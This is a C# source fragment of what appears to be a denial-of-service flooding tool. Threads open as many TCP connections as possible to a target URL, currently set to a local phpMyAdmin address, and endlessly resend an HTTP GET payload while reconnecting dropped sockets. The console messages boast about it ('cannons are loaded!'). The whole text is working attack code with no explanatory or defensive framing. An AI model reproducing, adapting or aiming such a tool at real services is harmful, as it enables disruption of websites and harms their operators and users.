static void Do_attack(List <TcpClient> socks, AttackContext ctx) { byte[] pl = Encoding.UTF8.GetBytes(ctx.ToGetRequest()); while (true) { for (int i = 0; i < socks.Count; i++) { try { if (socks[i].Client.Connected) { int bytes_sent = socks[i].Client.Send(pl); Console.WriteLine($"{bytes_sent } bytes sent! {GetRandomPunchline()}"); } else { socks[i] = new TcpClient(ctx.WAN, ctx.Port); } }catch (SocketException ex) { if (ex.ErrorCode == 10054) { } } } } }
static void Start(AttackContext ctx) { for (int i = 0; i < Num_threads; i++) { Thread t = new Thread(() => { var socks = Build_sockets(ctx); Do_attack(socks, ctx); }); Threads.Add(t); } for (int i = 0; i < Num_threads; i++) { Threads[i].Start(); } }
static List <TcpClient> Build_sockets(AttackContext ctx) { List <TcpClient> lst_clients = new List <TcpClient>(); for (int i = 0; i < Num_sockets_per_thread; i++) { try { lst_clients.Add(new TcpClient(ctx.WAN, ctx.Port)); } catch { //limit reached Console.WriteLine($"Built {lst_clients.Count } sockets, cannons are loaded!"); break; } } return(lst_clients); }
static void Main(string[] args) { string bullshite_url = "http://localhost:8080/phpmyadmin/"; AttackContext ctx = new AttackContext() { Url = bullshite_url, Host = GetHost(bullshite_url, true), WAN = ResolveHost(GetHost(bullshite_url, true)), Port = GetPort(bullshite_url), Page = GetPage(bullshite_url) }; Start(ctx); Console.WriteLine(ctx.ToString()); Console.ReadLine(); while (true) { } }
static void Reload(TcpClient c, AttackContext ctx) { try { c = new TcpClient(ctx.WAN, ctx.Port); } catch { Reload(c, ctx); } }